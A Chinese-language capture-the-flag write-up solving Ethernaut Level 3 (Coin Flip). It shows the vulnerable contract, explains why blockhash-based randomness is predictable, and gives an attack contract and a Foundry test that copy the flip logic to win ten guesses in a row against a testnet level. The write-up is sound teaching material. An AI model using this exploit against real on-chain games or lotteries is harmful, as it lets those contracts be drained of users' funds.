# Ethernaut CTF Level 3 - Coin Flip [toc] ## 題目 這是一個擲銅板的遊戲。 你需要連續地猜對擲出來的結果。為了完成這一關,你需要利用你的超能力,然後連續猜對十次。 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } } ``` <br> ## 分析 這是個丟硬幣的遊戲,玩家輸入true / false猜測後 根據`block.number`加工運算之後 利用`bool side = coinFlip == 1 ? true : false;`來看是true or false 問題點在 `block.number`本身是可預測以及可觀察到的數值 所以這整個邏輯並非真正的隨機 當然直接在console猜測應該是非常難通過的 <br> 對應的攻擊思路也會依樣畫葫蘆,題目怎麼寫 我們就寫一個同邏輯的"猜測"合約 <br> ## 攻擊 在線上Editor - [Remix](https://remix.ethereum.org/) 建立新檔案 - 思路是複製題目合約的判斷思路 - 寫一個Interface,是為了順利使用題目合約的`flip()` function - 主邏輯就是按照題目的做依樣畫葫蘆來判斷 - 知道解答後最後呼叫`flip()` Deploy後,重複執行十次即可過關 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; interface ICoinFlip { function flip(bool _guess) external returns (bool); } contract AttackFlip { using SafeMath for uint256; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlip public orgContract = ICoinFlip(0x1xxxxxxxxxxxx); function guessFlip() public { uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; orgContract.flip(side); } } ``` <br> Deploy後,執行十次guessFlip即可 ## 補充 在鏈上很難做到真正的隨機 通常會需要依靠預言機從外部得到隨機函數 <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "openzeppelin-contracts/utils/math/SafeMath.sol"; import "../../src/levels/03-CoinFlip/CoinFlip.sol"; // test/Billy/ folder contract ContractTest4 is Test { using SafeMath for uint256; CoinFlip level3 = CoinFlip(payable(0x8658FC75c895A196E8054f415527bc34455f3d97)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x8658FC75c895A196E8054f415527bc34455f3d97), "Ethernaut03" ); } function testEthernaut03() public { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; uint256 blockValue = uint256(blockhash(block.number - 1)); uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; level3.flip(side); console.log("Consecutive Wins: ", level3.consecutiveWins()); } receive() external payable {} } ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up